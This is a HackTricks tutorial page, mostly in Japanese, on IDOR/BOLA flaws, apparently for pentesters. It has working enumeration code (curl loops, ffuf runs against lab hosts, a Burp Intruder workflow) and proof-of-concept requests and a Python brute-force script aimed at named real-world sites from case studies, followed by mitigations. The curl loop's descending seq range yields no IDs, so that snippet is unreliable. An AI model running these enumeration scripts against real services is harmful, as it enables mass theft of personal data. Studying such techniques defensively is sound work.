IDOR (Insecure Direct Object Reference)
Tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) は、web や API エンドポイントがユーザが制御可能な識別子を公開または受け取り、その識別子を使って内部オブジェクトに直接アクセスし、呼び出し元がそのオブジェクトにアクセス/修正する権限があるかどうかを検証しない場合に発生します。 成功した攻撃は通常、他ユーザのデータの読み取りや変更といった水平または垂直の権限昇格を可能にし、最悪の場合はアカウント完全乗っ取りや大規模なデータ流出を招きます。
1. IDOR の可能性を特定する
- オブジェクトを参照するパラメータを探す:
- Path:
/api/user/1234,/files/550e8400-e29b-41d4-a716-446655440000 - Query:
?id=42,?invoice=2024-00001 - Body / JSON:
{"user_id": 321, "order_id": 987} - Headers / Cookies:
X-Client-ID: 4711
- データを読み取るまたは更新するエンドポイント(
GET,PUT,PATCH,DELETE)を優先する。 - 識別子が連番または予測可能かどうかに注意する — もしあなたの ID が
64185742なら、64185741はおそらく存在する。 - 隠れたフローや代替フロー(例:ログインページの “Paradox team members” リンク)を探索し、追加の API が露出していないか確認する。
- 権限の低い認証済みセッションを使用し、ID のみを変更して同じ token/cookie を保持する。認可エラーが返らない場合は通常 IDOR の兆候である。
手動での簡易改ざん (Burp Repeater)
PUT /api/lead/cem-xhr HTTP/1.1
Host: www.example.com
Cookie: auth=eyJhbGciOiJIUzI1NiJ9...
Content-Type: application/json
{"lead_id":64185741}
自動列挙 (Burp Intruder / curl loop)
for id in $(seq 64185742 64185700); do
curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-H "Cookie: auth=$TOKEN" \
-d '{"lead_id":'"$id"'}' | jq -e '.email' && echo "Hit $id";
done
予測可能なダウンロードIDの列挙 (ffuf)
認証されたファイルホスティングパネルは、ユーザーごとのメタデータを単一の files テーブルに格納し、/download.php?id=<int> のようなダウンロードエンドポイントを公開していることが多い。ハンドラがIDの存在のみ(そのIDが認証ユーザに属するかどうかを確認しない)をチェックしている場合、有効な session cookie を使って整数空間を走査し、他のテナントのバックアップや設定ファイルを盗むことができる:
ffuf -u http://file.era.htb/download.php?id=FUZZ \
-H "Cookie: PHPSESSID=<session>" \
-w <(seq 0 6000) \
-fr 'File Not Found' \
-o hits.json
jq -r '.results[].url' hits.json # fetch surviving IDs such as company backups or signing keys
-frは 404 スタイルのテンプレートを除去し、実際のヒットのみが残るようにします(例:IDs 54/150 leaking full site backups and signing material)。- The same FFUF workflow works with Burp Intruder or a curl loop—just ensure you stay authenticated while incrementing IDs。
エラー応答オラクルによる user/file enumeration
When a download endpoint accepts both a username and a filename (e.g. /view.php?username=<u>&file=<f>), subtle differences in error messages often create an oracle:
- 存在しない username → “User not found”
- filename が不正だが extension は有効 → “File does not exist”(場合によっては利用可能なファイルを列挙する)
- extension が不正 → validation error
With any authenticated session, you can fuzz the username parameter while holding a benign filename and filter on the “user not found” string to discover valid users:
ffuf -u 'http://target/view.php?username=FUZZ&file=test.doc' \
-b 'PHPSESSID=<session-cookie>' \
-w /opt/SecLists/Usernames/Names/names.txt \
-fr 'User not found'
有効なユーザー名が特定できたら、特定のファイルを直接要求します(例: /view.php?username=amanda&file=privacy.odt)。このパターンは、他のユーザーのドキュメントの不正な公開や認証情報の漏洩につながることがよくあります。
2. Real-World Case Study – McHire Chatbot Platform (2025)
Paradox.ai によって提供されている McHire 採用ポータルの評価中に、次の IDOR が発見されました:
- エンドポイント:
PUT /api/lead/cem-xhr - Authorization: 任意のレストランのテストアカウントに対する user session cookie(any はそのまま強調)
- Body parameter:
{"lead_id": N}– 8桁の、連続した 数値識別子
lead_id を減少させることで、テスターは任意の応募者の full PII(氏名、メールアドレス、電話番号、住所、シフト希望)と、セッションハイジャックを可能にする消費者用の JWT を取得しました。範囲 1 – 64,185,742 を列挙した結果、およそ 6,400万 件のレコードが露出しました。
Proof-of-Concept request:
curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-d '{"lead_id":64185741}'
Combined with default admin credentials (123456:123456) that granted access to the test account, the vulnerability resulted in a critical, company-wide data breach.
ケーススタディ – リストバンドのQRコードが弱い bearer tokens として機能した事例 (2025–2026)
Flow: 展示来場者はQRコード付きリストバンドを受け取り、https://homeofcarlsberg.com/memories/ をスキャンすると、ブラウザが 印字されたリストバンドID を取得してhexエンコードし、保存されたメディア(写真/動画+氏名)を取得するために cloudfunctions.net バックエンドを呼び出しました。ここには no session binding やユーザー認証がなく、knowledge of the ID = authorization でした。
Predictability: リストバンドIDは C-285-100 のような短いパターンに従っており、ASCII hex では 432d3238352d313030 (43 2d 32 38 35 2d 31 30 30) となります。キー空間は約26Mの組み合わせと推定され、オンラインで総当たりするには容易でした。
Exploitation workflow with Burp Intruder:
- Payload generation: 候補IDを生成(例:
[A-Z]-###-###)。Burp Intruder の Pitchfork または Cluster Bomb 攻撃を使用して文字と数字の位置を設定する。Add a payload processing rule → Add prefix/suffix → payload encoding: ASCII hex を追加し、各リクエストがバックエンドの期待する16進文字列を送信するようにする。 - Response grep: Intruder の grep-match に、有効なレスポンスにのみ存在するマーカー(例: メディアURL/JSONフィールド)を設定する。無効なIDは通常空配列や404を返した。
- Throughput measurement: ラップトップから約2時間で約1,000,000件のIDをテスト(約139 req/s)。この速度だと全キー空間(約26M)は約52時間で総当たり可能。サンプル実行だけで既に約500件の有効なリストバンド(動画+氏名)を露呈した。
- Rate-limiting verification: ベンダーがスロットリングを主張した後、同じIntruder設定で再実行。スループット/ヒット率が同一だったため、制御は存在しないか無効であることが証明され、enumeration は妨げられずに継続した。
Quick scriptable variant (client-side hex encoding):
import requests
def to_hex(s):
return ''.join(f"{ord(c):02x}" for c in s)
for band_id in ["C-285-100", "T-544-492"]:
hex_id = to_hex(band_id)
r = requests.get("https://homeofcarlsberg.com/memories/api", params={"id": hex_id})
if r.ok and "media" in r.text:
print(band_id, "->", r.json())
レッスン: Encoding (ASCII→hex/Base64) does not add entropy; short IDs become bearer tokens that are enumerable despite cosmetic encoding. Without per-user authorization + high-entropy secrets, media/PII can be bulk-harvested even if “rate limiting” is claimed.
3. Impact of IDOR / BOLA
- 横方向の権限昇格 – 他のユーザーのデータを読み取り/更新/削除する。
- 垂直方向の権限昇格 – 低権限ユーザーが管理者専用の機能を利用できるようになる。
- 識別子が連番の場合、大量のデータ漏洩の原因になる(例:applicant IDs、invoices)。
- 他ユーザーのトークンを盗む、またはパスワードをリセットすることでのアカウント乗っ取り。
4. Mitigations & Best Practices
- オブジェクトレベルの認可を強制する(全てのリクエストで)(
user_id == session.user)。 - auto-increment ID の代わりに 間接的で推測不可能な識別子(UUIDv4, ULID)を使う。
- 認可は server-side で実行し、hidden form fields や UI コントロールに依存しない。
- 中央のミドルウェアで RBAC / ABAC チェックを実装する。
- ID の列挙を検出するために rate-limiting & logging を導入する。
- 新しいエンドポイントごとにセキュリティテストを実施する(unit、integration、および DAST)。
5. Tooling
- BurpSuite extensions: Authorize, Auto Repeater, Turbo Intruder.
- OWASP ZAP: Auth Matrix, Forced Browse.
- Github projects:
bwapp-idor-scanner,Blindy(bulk IDOR hunting).
References
- McHire Chatbot Platform: Default Credentials and IDOR Expose 64M Applicants’ PII
- OWASP Top 10 – Broken Access Control
- How to Find More IDORs – Vickie Li
- HTB Nocturnal: IDOR oracle → file theft
- 0xdf – HTB Era: predictable download IDs → backups and signing keys
- Carlsberg memories wristband IDOR – predictable QR IDs + Intruder brute force (2026)
Tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。


